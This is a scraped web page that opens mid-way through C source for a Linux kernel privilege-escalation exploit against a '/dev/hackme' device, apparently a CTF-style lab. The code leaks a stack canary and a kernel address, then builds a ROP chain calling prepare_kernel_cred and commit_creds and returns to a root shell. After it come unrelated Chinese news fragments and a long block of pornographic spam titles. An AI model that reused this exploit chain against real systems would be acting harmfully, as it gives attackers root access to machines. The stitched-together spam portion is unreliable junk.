printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
int main(){    save_state();    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;    unsigned long leak_addr = buf[10];    printf("leak addr:0x%lx\n", leak_addr);    //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = leak_addr - 8682711; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = leak_addr - 3700823; //prepare_kernel_cred    payload[index++] = leak_addr - 3417801; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = leak_addr - 8682711; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = leak_addr - 3701815; //commit_creds;    payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);    }

更多網安技能的在線實操練習,請點擊這里>>

關鍵詞:

消費
產業
這場民營經濟高質量發展大會上,徐匯區創新創業高校聯盟啟動成立|天天觀速訊 6月30日上午,徐匯區促進民營經濟高質量發展大會現場,上海創新創業青
阿柏西普8mg治療糖尿病黃斑水腫首次實現持續視力改善_全球快播報 7月3日,拜耳宣布關鍵臨床試驗PHOTON的兩年(96周)結果,該試驗研究阿
當前訊息:這一天 在心中 7月1日黨的生日體悟初心使命汲取前行力量一代人有一代人的使命一代人有
每日聚焦:安家電視劇劇情介紹52集 安家第二部城家共53集 hello大家好,我是城鄉經濟網小晟來為大家解答以上問題,安家電視劇劇
基金
老司机91精品网站在线观看_久久69精品久久久久久hb_成人欧美在线观看_免费一级日本c片完整版

      日韩高清欧美激情| 丁香五精品蜜臀久久久久99网站| caoporen国产精品视频| 亚洲色图欧洲色图| 欧美三级午夜理伦三级中视频| 日本一二三四高清不卡| 免费成人结看片| 国产午夜亚洲精品不卡| 在线视频一区二区免费| 国产精品婷婷午夜在线观看| 美女任你摸久久 | 在线观看日韩av先锋影音电影院| 久久噜噜亚洲综合| 日韩和欧美一区二区三区| 久久免费精品国产久精品久久久久| 亚洲18女电影在线观看| 国产三级欧美三级| 另类综合日韩欧美亚洲| 国产精品无码永久免费888| 欧美日韩第一区日日骚| 亚洲综合另类小说| 99免费精品视频| 日本精品裸体写真集在线观看| 国产精品女人毛片| 国产成人免费视频网站| 亚洲已满18点击进入久久| 久久久亚洲国产美女国产盗摄| 麻豆精品一区二区| 日韩久久一区二区| 337p粉嫩大胆噜噜噜噜噜91av| 日韩 欧美一区二区三区| 欧美激情一区二区三区四区| 欧美精品高清视频| 天天做天天摸天天爽国产一区| 国产亚洲一区二区在线观看| 欧美日韩国产精选| 天天影视色香欲综合网老头| 国产精品网曝门| 欧美一级午夜免费电影| 日本怡春院一区二区| 国产精品伦一区二区三级视频| 日韩三级在线观看| 蜜桃精品视频在线| 一区二区三区中文字幕精品精品| 久久精品一区二区三区av| 国产在线国偷精品免费看| 一区二区欧美精品| 国产精品福利在线播放| eeuss鲁片一区二区三区在线观看| 一本久久综合亚洲鲁鲁五月天| 最近日韩中文字幕| 久久亚洲免费视频| 日韩精品在线网站| 国产尤物一区二区在线| 调教+趴+乳夹+国产+精品| 亚洲日本在线天堂| 国产丝袜美腿一区二区三区| 日韩精品一区二区三区视频 | 一区二区在线观看不卡| 91麻豆高清视频| 欧美一级日韩免费不卡| 精品午夜一区二区三区在线观看| 亚洲午夜在线视频| 一区二区三区国产精品| 亚洲国产精品ⅴa在线观看| 久久综合国产精品| 成人手机电影网| 欧美久久婷婷综合色| 美女国产一区二区三区| 亚洲成人av在线电影| 亚洲午夜三级在线| 亚洲欧美激情插| 亚洲视频免费看| 国产欧美日韩精品一区| 久久免费午夜影院| 91网站最新地址| 精品国产sm最大网站免费看| 懂色中文一区二区在线播放| 欧美精品一级二级| 国内精品写真在线观看| 欧美午夜不卡在线观看免费| 免费看日韩a级影片| 天天综合色天天| 日韩国产精品久久| 色诱亚洲精品久久久久久| 爽爽淫人综合网网站| 亚洲国产美女搞黄色| 亚洲成人一区二区在线观看| 夜夜嗨av一区二区三区四季av| 亚洲精品欧美综合四区| 亚洲柠檬福利资源导航| 一区二区在线观看视频| 一区二区三区在线免费观看| 亚洲精选视频在线| 亚洲精品写真福利| 亚洲影视资源网| 亚洲午夜在线观看视频在线| 丝袜美腿亚洲综合| 色哟哟国产精品免费观看| 日本大胆欧美人术艺术动态| 在线免费观看成人短视频| 久久国产精品免费| 欧美日韩精品一区二区天天拍小说| 国产一区二区三区最好精华液| 91 com成人网| 成人a区在线观看| 久久新电视剧免费观看| 久久久美女毛片| 中文字幕一区二区5566日韩| 亚洲欧洲另类国产综合| 亚洲最新在线观看| 午夜激情久久久| 麻豆一区二区99久久久久| 欧美日韩高清不卡| 成人a级免费电影| 国产亚洲精品免费| 国产精品盗摄一区二区三区| 一区二区国产视频| 色哟哟欧美精品| 国产福利一区二区三区在线视频| 精品粉嫩超白一线天av| 国产亲近乱来精品视频| 亚洲精品国产无天堂网2021| 亚洲一区二区五区| 精品中文字幕一区二区| 日韩欧美国产精品| 国产午夜精品久久久久久免费视| 亚洲美女屁股眼交| 一本色道久久综合精品竹菊| 国产黑丝在线一区二区三区| 久久一区二区三区国产精品| 国产精品国模大尺度视频| 亚洲无线码一区二区三区| 欧美自拍丝袜亚洲| 成人aaaa免费全部观看| 中文字幕在线播放不卡一区| 亚洲午夜免费福利视频| 国产一区久久久| 国产亚洲欧美在线| 怡红院av一区二区三区| 激情五月激情综合网| 亚洲精品一区二区在线观看| 国产精品盗摄一区二区三区| 日韩精品一二区| 日韩欧美一二三四区| 国产精品亲子乱子伦xxxx裸| 婷婷开心激情综合| 日韩精品资源二区在线| 国产精品久久久久影院| 日本人妖一区二区| 精品剧情在线观看| 亚洲视频免费在线观看| 国内精品伊人久久久久av影院| 久久久一区二区三区捆绑**| 亚洲欧洲制服丝袜| 国内精品国产三级国产a久久| 国产亚洲精品中文字幕| 亚洲大片免费看| 成人小视频免费观看| 亚洲视频一区二区在线观看| 欧美撒尿777hd撒尿| 国产日产精品1区| 亚洲成人av一区二区三区| 日韩欧美黄色影院| 亚洲人妖av一区二区| 国产馆精品极品| 亚洲欧美日韩在线不卡| 欧美亚洲另类激情小说| 国产日韩欧美a| 麻豆成人久久精品二区三区小说| 久久久国产一区二区三区四区小说 | 国产精品污网站| 日本精品视频一区二区三区| 久久午夜电影网| 奇米888四色在线精品| 精品日产卡一卡二卡麻豆| 一区二区三区中文字幕精品精品| 豆国产96在线|亚洲| 亚洲影视在线播放| 日韩精品一区二区三区视频 | 国产精品伦理在线| 国产一区二区不卡| 亚洲女同一区二区| 欧美电影一区二区| 亚洲精品水蜜桃| zzijzzij亚洲日本少妇熟睡| 午夜久久电影网| 久久久久综合网| 欧美中文字幕一区二区三区 | 午夜久久久久久| 国产午夜亚洲精品理论片色戒 | 欧美日韩美少妇| 亚洲欧美另类久久久精品2019| 丁香婷婷深情五月亚洲| 亚洲图片自拍偷拍| 久久精品在线免费观看| 欧美日韩精品专区| 一区二区三区.www| 久久精品亚洲一区二区三区浴池| 免费在线一区观看|